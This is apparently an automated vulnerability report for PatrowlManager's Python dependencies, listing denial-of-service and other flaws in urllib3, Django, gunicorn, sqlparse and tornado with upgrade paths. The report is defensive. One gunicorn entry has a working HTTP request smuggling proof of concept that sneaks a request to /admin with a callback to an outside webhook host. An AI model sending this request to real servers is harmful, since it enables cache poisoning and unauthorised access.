  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity
new

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.25.1 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce urllib3@1.26.5
    Remediation: Upgrade to urllib3@2.6.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to thehive4py@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.20.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the django.utils.text.wrap() function and wordwrap template filter. When either is supplied an excessively long string it may render the application unresponsive.

Remediation

Upgrade django to version 4.2.20, 5.0.13, 5.1.7 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.26.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the HttpResponseRedirect and HttpResponsePermanentRedirect functions when processing inputs containing a very large number of Unicode characters, due to slow NFKC normalization on Windows. An attacker can cause excessive resource consumption and disrupt service availability.

Note: This is only exploitable on Windows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Django to version 4.2.26, 5.1.14, 5.2.8 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.27.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the getInnerText() function. An attacker can exhaust CPU and memory resources by submitting deeply nested XML input to the XML deserializer, which is processed in quadratic time per character.

Remediation

Upgrade Django to version 4.2.27, 5.1.15, 5.2.9 or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: gunicorn
  • Introduced through: gunicorn@20.0.4

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce gunicorn@20.0.4
    Remediation: Upgrade to gunicorn@23.0.0.

Overview

gunicorn is a Python WSGI HTTP Server for UNIX

Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper validation of the Transfer-Encoding header. An attacker can manipulate session data, poison caches, or compromise data integrity by exploiting the fallback to Content-Length when Transfer-Encoding is not correctly handled.

PoC

POST / HTTP/1.1
Host: 172.24.10.169
Content-Length: 6
Transfer-Encoding: chunked,gzip

73

GET /admin?callback1=https://webhook.site/717269ae-8b97-4866-9a24-17ccef265a30 HTTP/1.1
Host: 172.24.10.169

0

Remediation

Upgrade gunicorn to version 23.0.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: sqlparse
  • Introduced through: sqlparse@0.4.2, django@2.2.26 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce sqlparse@0.4.2
    Remediation: Upgrade to sqlparse@0.5.4.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django@3.2.22.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 sqlparse@0.4.2
    Remediation: Upgrade to django-debug-toolbar@3.2.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26 sqlparse@0.4.2
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via algorithmic complexity in the SQL parsing logic. The parser fails to enforce limits when handling deeply nested tuples or unusually large token sequences, allowing an attacker to submit crafted SQL statements with extreme nesting depth or token counts. This causes excessive CPU and memory consumption, leading to service slowdown or outage.

Note: This vulnerability exists due to an incomplete fix for CVE-2024-4340.

Remediation

Upgrade sqlparse to version 0.5.4 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tornado
  • Introduced through: tornado@5.1 and flower@0.9.2

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce tornado@5.1
    Remediation: Upgrade to tornado@6.5.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2 tornado@5.1
    Remediation: Upgrade to flower@0.9.2.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the multipart/form-data parser. An attacker can generate an extremely high volume of logs, leading to a denial of service by sending malformed multipart form data that triggers continuous error logging.

Note:

This is only exploitable if the logging subsystem is synchronous.

Workaround

This vulnerability can be mitigated by blocking Content-Type: multipart/form-data in a proxy.

Remediation

Upgrade tornado to version 6.5 or higher.

References

high severity
new

Excessive Iteration

  • Vulnerable module: tornado
  • Introduced through: tornado@5.1 and flower@0.9.2

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce tornado@5.1
    Remediation: Upgrade to tornado@6.5.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2 tornado@5.1
    Remediation: Upgrade to flower@0.9.2.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Excessive Iteration in the _parseparam() function. An attacker can cause the server to become unresponsive and consume excessive CPU resources by sending requests with a large number of maliciously crafted parameters in the Content-Disposition header.

Remediation

Upgrade tornado to version 6.5.3 or higher.

References

high severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: tornado
  • Introduced through: tornado@5.1 and flower@0.9.2

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce tornado@5.1
    Remediation: Upgrade to tornado@6.5.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2 tornado@5.1
    Remediation: Upgrade to flower@0.9.2.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the HTTPHeaders.add method. An attacker can cause the server's event loop to become unresponsive for an extended period by sending a single maliciously crafted HTTP request with repeated header names, leading to excessive string concatenation and high CPU usage.

Note:

This is only exploitable if the max_header_size configuration has been increased from its default value.

Remediation

Upgrade tornado to version 6.5.3 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@2.2.27.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
